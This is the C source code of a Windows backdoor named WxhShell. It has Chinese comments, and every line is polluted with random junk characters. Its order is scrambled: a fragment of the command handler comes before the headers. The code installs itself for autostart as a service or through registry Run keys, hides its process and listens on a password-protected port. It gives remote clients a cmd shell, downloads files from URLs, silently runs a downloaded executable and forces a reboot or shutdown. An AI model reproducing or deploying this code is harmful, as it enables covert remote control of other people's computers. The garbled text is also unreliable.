  // 关机 e$L C  
  case 'd': { 9Po>laT 5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $z=a+t *  
    if(Boot(SHUTDOWN)) ~d*Q{v~3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AD;m[u7  
    else { :Drf]D(sMX  
    closesocket(wsh); P~7(x7/7~  
    ExitThread(0); lMv6QL\>'  
    } \VPw3  
    break; g[cnaS|?  
    } =!Ik5LiD  
  // 获取shell [s}W47N1  
  case 's': { wgz]R  
    CmdShell(wsh); *q}yfa35eR  
    closesocket(wsh); ydWr&E5  
    ExitThread(0); GRc)3 2,  
    break; L15)+^4n  
  } s}zR@ !`  
  // 退出 :3F[!y3b  
  case 'x': { ^EIuGz1@0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0fc;H}B*  
    CloseIt(wsh); \Z.r Pq  
    break; CvIuH=,  
    } f]*;O+8$LN  
  // 离开 +|C@B`h  
  case 'q': { :6n4i$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VgPlIIHh5  
    closesocket(wsh); U|wST&rU|  
    WSACleanup(); 2j f!o  
    exit(1); 4s{=/,f  
    break; {OG1' m6=/  
        } gs<~)&x  
  } nJ2B*(S'v.  
  } m mF0RNE  
p39$V[*g(  
  // 提示信息 wOH:'sk["  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q g/Rw4[  
} gj|5"'g%  
  } B4 bB`r  
u<j;+-]8h  
  return; <*vR_?!  
} F`KXG$  
KKwM\   
// shell模块句柄 VjM/'V5  
int CmdShell(SOCKET sock) JCH9~n.  
{ UV(`.  
STARTUPINFO si; p,=IL_  
ZeroMemory(&si,sizeof(si)); G 1{m"1M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wn"\ @QvG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %=z>kU1|  
PROCESS_INFORMATION ProcessInfo; [kJ;Uxncz~  
char cmdline[]="cmd"; OX,em Ti  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5$i(f8*  
  return 0; 7,)E1dx -V  
} r?KRK?I  
K0>;4E>B  
// 自身启动模式 gpq ,rOIK  
int StartFromService(void) o^@#pU <  
{ KXZ G42w  
typedef struct LYAGpcG  
{ <hzHrx'o{  
  DWORD ExitStatus; Cuylozj$&  
  DWORD PebBaseAddress; Dx\~#$S!=  
  DWORD AffinityMask; "d}']M?-h  
  DWORD BasePriority; ,t_&tbf3  
  ULONG UniqueProcessId; tOXyle~C  
  ULONG InheritedFromUniqueProcessId; Ew4D'; &;  
}   PROCESS_BASIC_INFORMATION; 1G A.c:  
!- [ ZQ  
PROCNTQSIP NtQueryInformationProcess; z<Z0/a2'1  
J"#6m&R_q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uj;iE 9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rHk(@T.]  
~LI}   
  HANDLE             hProcess; e!=7VEB  
  PROCESS_BASIC_INFORMATION pbi; w#2apaz  
>'n[B    
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sct 3|H#  
  if(NULL == hInst ) return 0; 46M=R-7=  
em7L `,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pPxgjX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;\"5)S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5%wA"_  
9t`yv@.>N  
  if (!NtQueryInformationProcess) return 0; ty[%:eG#  
i=5!taxu}E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); krGIE}5  
  if(!hProcess) return 0; `?T::&`  
YS4"TOFw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qraq{'3  
yl*%P3m|  
  CloseHandle(hProcess); aQH]hLvs  
A|Ft:_Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZYY`f/qi  
if(hProcess==NULL) return 0; qAp <OJ  
};r EN`L  
HMODULE hMod; gWro])3  
char procName[255]; E*R-Dno_F  
unsigned long cbNeeded; LD{~6RP  
"cS7E5-|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0^L:`[W+  
|0^IX   
  CloseHandle(hProcess); V6>{k_0{V  
?AO=)XV2  
if(strstr(procName,"services")) return 1; // 以服务启动 >q')%j  
fLRx{Nu  
  return 0; // 注册表启动 N) jNvzm  
} A[4HD!9=  
RYl{89  
// 主模块 cEXd#TlY~X  
int StartWxhshell(LPSTR lpCmdLine) <`q-#-V@  
{ &]f8Xd  
  SOCKET wsl; zWN]#W`  
BOOL val=TRUE; W-D4" G@  
  int port=0; X+;#^A3  
  struct sockaddr_in door; ld%#.~Q  
:\mdVS!o  
  if(wscfg.ws_autoins) Install(); <}mA>c'k  
U_9|ED:  
port=atoi(lpCmdLine); <%4pvn8d?&  
sj+ )   
if(port<=0) port=wscfg.ws_port; TJcHqzcUc  
SA"4|#3>7  
  WSADATA data; ,LOx!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6QHUBm2  
daB 5E<?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eMOp}.zt|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?t;,Nk`jx  
  door.sin_family = AF_INET; "SKv'*\b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !!6@r|.  
  door.sin_port = htons(port); `^g-2~  
9e;{o,r@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O|v8.3[cT  
closesocket(wsl); t}K8{ V  
return 1; pNHL&H\  
} G]-\$>5R  
.F/l$4CQ  
  if(listen(wsl,2) == INVALID_SOCKET) { I_c?Ky8J_|  
closesocket(wsl); Q>z (!'dw  
return 1; (h&=N a~  
} ) [)1  
  Wxhshell(wsl); SQ/}K8uZ  
  WSACleanup(); G{+zKs}~  
U~|)=+%O  
return 0; :p1_ij]ND  
Oxi^&f||`  
} UOe@R|79q  
M(} T\R  
// 以NT服务方式启动 +>tSO!}[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3D,tnn+J  
{ YEiw!  
DWORD   status = 0; 7&dF=/:X@  
  DWORD   specificError = 0xfffffff; YyY?<<z%  
47 &p*=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; | m#"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uE#"wm'J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0LWV.OIIC  
  serviceStatus.dwWin32ExitCode     = 0; PywUPsJ  
  serviceStatus.dwServiceSpecificExitCode = 0; \O>;,(>i  
  serviceStatus.dwCheckPoint       = 0; <UW-fI)X  
  serviceStatus.dwWaitHint       = 0; n2opy8J#!  
tB0f+ wC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SphP@J<ONW  
  if (hServiceStatusHandle==0) return; w\JTMS$  
*Xu?(Jd  
status = GetLastError(); =`qEwA  
  if (status!=NO_ERROR) rB =c  
{ :K*/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EP{ji"/7[  
    serviceStatus.dwCheckPoint       = 0; AB.ZmR9|  
    serviceStatus.dwWaitHint       = 0; [xDn=)`{V  
    serviceStatus.dwWin32ExitCode     = status; C61E=$  
    serviceStatus.dwServiceSpecificExitCode = specificError; |kHzp^S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Zh#7jiZ`  
    return; fHF*#  
  } u~'j?K.^  
O V^?cA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tHJahK:"k  
  serviceStatus.dwCheckPoint       = 0; ;3 =RM\  
  serviceStatus.dwWaitHint       = 0; SQdK`]4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FdxV#.BE  
} bL%-9BG  
M r~IVmtf  
// 处理NT服务事件,比如:启动、停止 o3:h!(#G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,u5iiR  
{ {>yy3(N  
switch(fdwControl) d?[8VfAnh  
{ o|1_I?_  
case SERVICE_CONTROL_STOP: %PM8;]  
  serviceStatus.dwWin32ExitCode = 0; WQNFHRfO*n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {%v{iE>  
  serviceStatus.dwCheckPoint   = 0; Mgux (5`;  
  serviceStatus.dwWaitHint     = 0; z| m-nIM  
  { 2()/l9.O'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y-v6M3$  
  } ^B'N\[  
  return; LHusy;<E[  
case SERVICE_CONTROL_PAUSE: BKfoeN)%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VBg M7d  
  break; r4pR[G._  
case SERVICE_CONTROL_CONTINUE: &bwI7cO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7;ddzxR4  
  break; u/HNXJ7M`9  
case SERVICE_CONTROL_INTERROGATE: tf{o=X.)  
  break; ;/(<yu48  
}; T:VFyby\w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _sqV@ J  
} $_u)~O4$  
g-2(W   
// 标准应用程序主函数 x3=SMN|a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7HQ|3rt  
{ 10..<v7  
R5r CCp  
// 获取操作系统版本 l7S&s&W @  
OsIsNt=GetOsVer(); +{&++^(}a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I*= =I4qx  
hODq& 9!  
  // 从命令行安装 F t;[>o  
  if(strpbrk(lpCmdLine,"iI")) Install(); BA`K,#Ft7  
q4KYC!b  
  // 下载执行文件 Z:<6Ck  
if(wscfg.ws_downexe) { NfXEW-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oedLe9!  
  WinExec(wscfg.ws_filenam,SW_HIDE); e`t-:~'  
} KqWt4{\8v`  
w4;1 ('  
if(!OsIsNt) { b^&nr[DC  
// 如果时win9x,隐藏进程并且设置为注册表启动 2~!+EH  
HideProc(); &&|c-mD+*  
StartWxhshell(lpCmdLine); QR[i9'`<  
} \']_y\  
else -hP>;~*4  
  if(StartFromService()) ;c0z6E /  
  // 以服务方式启动 =.6JvX<d1*  
  StartServiceCtrlDispatcher(DispatchTable); , n47.S  
else b,-qyJW6  
  // 普通方式启动 W[oQp2 =  
  StartWxhshell(lpCmdLine); 9>[ *y8[:0  
cp3O$S  
return 0; Aw7_diK^  
} u*<knZ~ty  
J+f*D+x1  
G>j4b}e  
DBZ^n9  
=========================================== L%0G >2x  
Hge0$6l  
hH=}<@z   
qku!Mg  
{Nny .@P)H  
8G|kKpX  
" = ^_4u%}  
</) HcRj'e  
#include <stdio.h> M%1wT9  
#include <string.h> (b;*8  
#include <windows.h> 'mE!,KeS;  
#include <winsock2.h> t(5PKD#~Dc  
#include <winsvc.h> Zf8_ko;|:-  
#include <urlmon.h> 6,Y<1b*|Vo  
I@o42%w2  
#pragma comment (lib, "Ws2_32.lib") Eh|v>Yew  
#pragma comment (lib, "urlmon.lib") #@K %Mx  
9 az{j 1  
#define MAX_USER   100 // 最大客户端连接数 rCgoU xW`  
#define BUF_SOCK   200 // sock buffer \[W)[mH_  
#define KEY_BUFF   255 // 输入 buffer M%qHf{ B  
:6y;U  
#define REBOOT     0   // 重启 Gq9pJ  
#define SHUTDOWN   1   // 关机 I?Ct@yxhF'  
b=Oec%Adx  
#define DEF_PORT   5000 // 监听端口 }ujl2uhM  
Eh/Z4pzT  
#define REG_LEN     16   // 注册表键长度 Ig"Qw vR  
#define SVC_LEN     80   // NT服务名长度 S[I-Z_S  
%g{<EuK]p  
// 从dll定义API y:ad%,. C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~SR9*<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >m4Q*a4M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /m(v5v7(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5.zv0tJku  
%<[U\TL`  
// wxhshell配置信息 b*W01ist  
struct WSCFG { 8$V:+u  
  int ws_port;         // 监听端口 MtKM#@  
  char ws_passstr[REG_LEN]; // 口令 'MY0v_  
  int ws_autoins;       // 安装标记, 1=yes 0=no vZ/Bzy@|  
  char ws_regname[REG_LEN]; // 注册表键名 T~- OC0  
  char ws_svcname[REG_LEN]; // 服务名 TjLW<D(i>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vs@H>97,G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J0O wzO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xty)*$C>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ="__*J#nze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I/ V`@*/+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Eqr/~Q  
N Obw/9JO  
}; DRuG5|{I:  
YK6zN>M}E  
// default Wxhshell configuration /YT _~q=:  
struct WSCFG wscfg={DEF_PORT, ERz{, >G?  
    "xuhuanlingzhe", X>4qL'b:z  
    1, hmM2c15T5  
    "Wxhshell", PiZU _~A  
    "Wxhshell", 5tQZf'pHfd  
            "WxhShell Service", {'$+?V"&  
    "Wrsky Windows CmdShell Service", /7jb&f   
    "Please Input Your Password: ", II) K0<  
  1, Dwg_#GSr  
  "http://www.wrsky.com/wxhshell.exe", y,cz;2  
  "Wxhshell.exe" s?~lMm' !  
    }; ]x:>!y  
3T84f[CFJ  
// 消息定义模块 br4?_,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ic')L*i7O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9L9qLF5 t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g8L{xwx<  
char *msg_ws_ext="\n\rExit."; 1%`Nu ]D  
char *msg_ws_end="\n\rQuit.";  G%5ZG$as  
char *msg_ws_boot="\n\rReboot..."; "`Mowp*  
char *msg_ws_poff="\n\rShutdown..."; > xie+ ^  
char *msg_ws_down="\n\rSave to "; tv'=xDCp  
"#G`F  
char *msg_ws_err="\n\rErr!"; -cP7`.a  
char *msg_ws_ok="\n\rOK!"; crl"Ec  
3+oGR5gIN  
char ExeFile[MAX_PATH]; pRH'>}rtuH  
int nUser = 0; =u 3YRqz  
HANDLE handles[MAX_USER]; !@4 i:,p@  
int OsIsNt; W|4h;[w  
28x:]5=jb  
SERVICE_STATUS       serviceStatus; Y=\:fa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KuJNKuHa.  
:jr`}Z%;y  
// 函数声明 +Hk r\  
int Install(void); 5VjO:>  
int Uninstall(void); $~)YI/b  
int DownloadFile(char *sURL, SOCKET wsh); W@FSQ8b>$m  
int Boot(int flag); 0AD8X+M{P  
void HideProc(void); ,jq:%Y[KZ  
int GetOsVer(void); :b`ywSp`  
int Wxhshell(SOCKET wsl); 5N(OW:M  
void TalkWithClient(void *cs); xZ(ryE%  
int CmdShell(SOCKET sock); }BI|M_q.1~  
int StartFromService(void); kcG_ n  
int StartWxhshell(LPSTR lpCmdLine); H7dT6`<~Y  
k keDt+^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ODNZLCB~t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gAr=fq-|  
]8/g[Ii  
// 数据结构和表定义 0,5)L\{ R  
SERVICE_TABLE_ENTRY DispatchTable[] = -OXC;y  
{ V_/.]zQA  
{wscfg.ws_svcname, NTServiceMain}, Y1R?, 5  
{NULL, NULL} Yan}H}Oq  
}; +=K =B  
\- 8S"  
// 自我安装 _o7t| pl~  
int Install(void) zEk /15  
{ , {X}C  
  char svExeFile[MAX_PATH]; G.3yuok9  
  HKEY key; Q)Q1a;o  
  strcpy(svExeFile,ExeFile); |Pi! UZB  
xO&qo8*  
// 如果是win9x系统,修改注册表设为自启动 " 6ScVa5)  
if(!OsIsNt) { .,F`*JVFq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2#oU2si   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JA~q}C7A7o  
  RegCloseKey(key); Lu CiO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X^Fc^U8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?&?5x%|.<  
  RegCloseKey(key); qs!A)H#  
  return 0; i2+_~$f  
    } *Gul|Lp$<I  
  } ]-;MY@  
} spT$}F2n  
else { >R}G  
U^8S@#1Q  
// 如果是NT以上系统,安装为系统服务 dngG=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M $f6. j  
if (schSCManager!=0) h43py8v  
{ L7]o^p{g}Q  
  SC_HANDLE schService = CreateService \,ne7G21j  
  (  0*E_D  
  schSCManager, Q^bYx (r5w  
  wscfg.ws_svcname, J`[gE`d  
  wscfg.ws_svcdisp, 83J6 3Xa  
  SERVICE_ALL_ACCESS, SHT`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ![9$ru  
  SERVICE_AUTO_START, -&l%CR,U  
  SERVICE_ERROR_NORMAL, 6aLRnH"Ud  
  svExeFile, ^?NLA&v<  
  NULL, AuT:snCzR  
  NULL, ]>B4  
  NULL, 8([ MR  
  NULL, c:aW"U   
  NULL C8x9 Jrc  
  ); -Fq`#"  
  if (schService!=0) U"=Lzo.0  
  {  &Ufp8[  
  CloseServiceHandle(schService); nyetK  
  CloseServiceHandle(schSCManager); 0 9qfnQG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y"L|D,ex  
  strcat(svExeFile,wscfg.ws_svcname); QBh*x/J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pu5%$}dBE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IhRdn1&  
  RegCloseKey(key); zf>*\pZE  
  return 0; ;;6$d{  
    } Lt ^*L% x  
  } 8@Bm2?$}g  
  CloseServiceHandle(schSCManager); &(lQgi+^!  
} F ^Bk  @  
} v: veKA  
yf7|/M  
return 1; }2 Tq[rl~s  
} K|Eelhm  
D5!#c-Y-  
// 自我卸载 1_};!5$.  
int Uninstall(void) 70'gVCb  
{ _xmQGX!|  
  HKEY key; `NTtw;%Y  
 +#\7 #Y  
if(!OsIsNt) { ex BLj *]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?GlXxx=eV  
  RegDeleteValue(key,wscfg.ws_regname); Si@ 6'sw  
  RegCloseKey(key); ]&N>F8.L+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TB-dV'w  
  RegDeleteValue(key,wscfg.ws_regname); XhA tf @n  
  RegCloseKey(key); I{h KN V  
  return 0; 0' oXA'L-J  
  } Y'5(exW  
} KaX*) P  
} P aeq  
else { s/.P/g%tA>  
N6v?Qzvi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cg o  
if (schSCManager!=0) &>B"/z  
{ :%Oz:YxC/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e"_kH_7sv  
  if (schService!=0) JEaTDV_  
  { d14n>  
  if(DeleteService(schService)!=0) { o2'Wu:Y"  
  CloseServiceHandle(schService); 8N+T=c  
  CloseServiceHandle(schSCManager); >cLh$;l  
  return 0; T:@7EL  
  } XK\3"`kd  
  CloseServiceHandle(schService); K7([Gc9  
  } wZN_YFwQ  
  CloseServiceHandle(schSCManager); }Z{FPW.QK  
} /&<V5?1|  
} _m[DieR  
reNf?7G+m  
return 1; c#>(8#'.U  
} vS)>g4  
-jy0Kl/p  
// 从指定url下载文件 T=)qD2?  
int DownloadFile(char *sURL, SOCKET wsh) !\[JWN@v  
{ ".%d{z}vz  
  HRESULT hr; d#]hqy  
char seps[]= "/"; :vX%0|  
char *token; Fi67"*gE  
char *file; ZX64kk+  
char myURL[MAX_PATH]; )UM^#<-  
char myFILE[MAX_PATH]; |35OA/O?X  
o<%0|n_O&  
strcpy(myURL,sURL); ^!d0a bA  
  token=strtok(myURL,seps); S1I.l">P  
  while(token!=NULL) k=[s%O 6H  
  { 92t.@!m`  
    file=token; -fl6M-CYX  
  token=strtok(NULL,seps); bc4V&  
  } ]d-.Mw,'  
vsZ?cd  
GetCurrentDirectory(MAX_PATH,myFILE); }{VOyPG  
strcat(myFILE, "\\"); \Dy|}LE  
strcat(myFILE, file); A+gS'DZ9C  
  send(wsh,myFILE,strlen(myFILE),0); -F[@)$L  
send(wsh,"...",3,0); QF\nf_X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E_aBDiyDf  
  if(hr==S_OK) Y*PfU +y~  
return 0; g_`a_0v  
else W.?/p~  
return 1; pm,xGo2  
"GQ Q8rQ  
} %^HE^ &  
fO&`A:JY  
// 系统电源模块 WA"~6U*  
int Boot(int flag) TKv!wKI  
{ a!E22k?((z  
  HANDLE hToken; *$W&jfW  
  TOKEN_PRIVILEGES tkp; n\l?+)S *  
F{!pii5O9  
  if(OsIsNt) { No} U[u.O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z__?kY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Z<\kx  
    tkp.PrivilegeCount = 1; n)98NSVDbT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,`Y$}"M4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >*8V]{f9  
if(flag==REBOOT) { jt on\9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ESIP+  
  return 0; U`i5B;k}-  
} +q '1P}e  
else { xNf}f 9 l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NFZ(*v1U  
  return 0; j *G: 8Lg  
} robg1  
  } \ agZ D+  
  else { T5."3i  
if(flag==REBOOT) { 1.F&gP)9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LK~aLa5wG  
  return 0; 8ROKfPj;z  
} p8_^6wfg  
else { ]*\MIz{56'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tLTavE[@  
  return 0; &Y=0 0  
} 14B',]`  
}  r!?ga  
(Z(S?`')  
return 1; > 0MP[  
} Z|uvrFa  
3TF_$bd{  
// win9x进程隐藏模块 p> `rTaeZg  
void HideProc(void) L^ J|cgmNw  
{ &Mk!qE<:N  
b4e~Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %-540V{q  
  if ( hKernel != NULL ) 78uImC*o  
  { 8m?(* [[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B#Ybdp ;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bTc >-e,  
    FreeLibrary(hKernel); F nA Kfh(  
  } 6M*z`B{hV  
q>.7VN[ vE  
return; dZ`Y>wH_  
} @%Ld\8vdfJ  
y9 {7+]  
// 获取操作系统版本 %Hbq3U30  
int GetOsVer(void) |l; Ot=C=  
{ qjP~F  
  OSVERSIONINFO winfo; W^tD6H;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '" "v7  
  GetVersionEx(&winfo); A-CU%G9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9j>2C  
  return 1; vn^O m-\  
  else G<$:[ +w  
  return 0; @-!P1]V|  
} ;\mX=S|a  
$v;WmYTJ  
// 客户端句柄模块 #c^]p/  
int Wxhshell(SOCKET wsl) )t|:_Z  
{ JX=rL6Y@:;  
  SOCKET wsh; 1'E=R0`pA  
  struct sockaddr_in client; $*#^C;7O  
  DWORD myID; )4 4Y`v  
*OG<+#*\_?  
  while(nUser<MAX_USER) NZB*;U~t  
{ 73cb1 kfPd  
  int nSize=sizeof(client); AOR?2u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i< ^X z  
  if(wsh==INVALID_SOCKET) return 1; L7C ;l,ot  
s|Mo3_>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |u>(~6  
if(handles[nUser]==0) x.+T65X~4  
  closesocket(wsh); f CU]  
else *#Cx-J  
  nUser++; oe|#!SM(  
  } `q*[fd1u.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =OH X5:Z  
c4tw)O-X  
  return 0;  ##rkyd  
} 5^g*  
0Qt!w(  
// 关闭 socket R5uG.Oj-2  
void CloseIt(SOCKET wsh) b w P=f.  
{ ,>a!CnK=  
closesocket(wsh); j&d5tgLB  
nUser--; ,_e [P  
ExitThread(0); M}\h?s   
} kK[4uQQ  
MbRTOH  
// 客户端请求句柄 oe*1jR_J`[  
void TalkWithClient(void *cs) yJ $6vmQ  
{ _re# b?  
M&V'*.xz  
  SOCKET wsh=(SOCKET)cs; xnZnbgO+  
  char pwd[SVC_LEN]; )zr*Ecz  
  char cmd[KEY_BUFF]; BiYxI{VFD  
char chr[1]; b)d;eS  
int i,j; BDI|z/~&  
>@2<^&K`  
  while (nUser < MAX_USER) { zZ=SAjT QP  
:<J7g`f  
if(wscfg.ws_passstr) { ^9Pr`\   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :V'99Esv`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "v1{  
  //ZeroMemory(pwd,KEY_BUFF); 5kiW@{m  
      i=0; 0caZ_-zU  
  while(i<SVC_LEN) { 1rm\u%  
=tOB fRM  
  // 设置超时 FiUQ2w4  
  fd_set FdRead; a{nR:zPE  
  struct timeval TimeOut; ` 2W^Ui,4  
  FD_ZERO(&FdRead); M=^d  
  FD_SET(wsh,&FdRead); a^ %iAe  
  TimeOut.tv_sec=8; S<0 &V  
  TimeOut.tv_usec=0; eY<<Hld  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o$No@~%v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _,J+b R+b  
F)^0R%{C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lz,M$HG<[  
  pwd=chr[0]; xi5"?*&Sb  
  if(chr[0]==0xd || chr[0]==0xa) { <V&0GAZ  
  pwd=0; r<vMp'u  
  break; ZNQ x;51  
  } 5CY%h  
  i++; [neuwdN  
    } E5ce=$o  
"-Q+!byh  
  // 如果是非法用户,关闭 socket /lBK )(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~lj[> |\Oj  
} E 2n z  
?o " Vkc:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W"NI^OX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f^F;`;z  
jWrU'X  
while(1) { X)b$CG  
P[3i!"O>  
  ZeroMemory(cmd,KEY_BUFF); 25SWIpgG  
eAy,T<#  
      // 自动支持客户端 telnet标准   c{M ,K  
  j=0; >#]A2,  
  while(j<KEY_BUFF) { bU=Utniq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !d72f8@9  
  cmd[j]=chr[0]; i7Qb~RW  
  if(chr[0]==0xa || chr[0]==0xd) { KQ\K :#  
  cmd[j]=0; .#( vx;  
  break; Q-<]'E#\(  
  } 6 5g ovor  
  j++; %f]#P8V P  
    } y[_k/.1  
(]]hSkE  
  // 下载文件 '(vZfzc{J  
  if(strstr(cmd,"http://")) { oIhKMQ;jh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?bZH Aed  
  if(DownloadFile(cmd,wsh)) ?N Mk|+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0m_yW$w  
  else )3h\QE!z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2k.VTGak  
  } NqD]p{>Y  
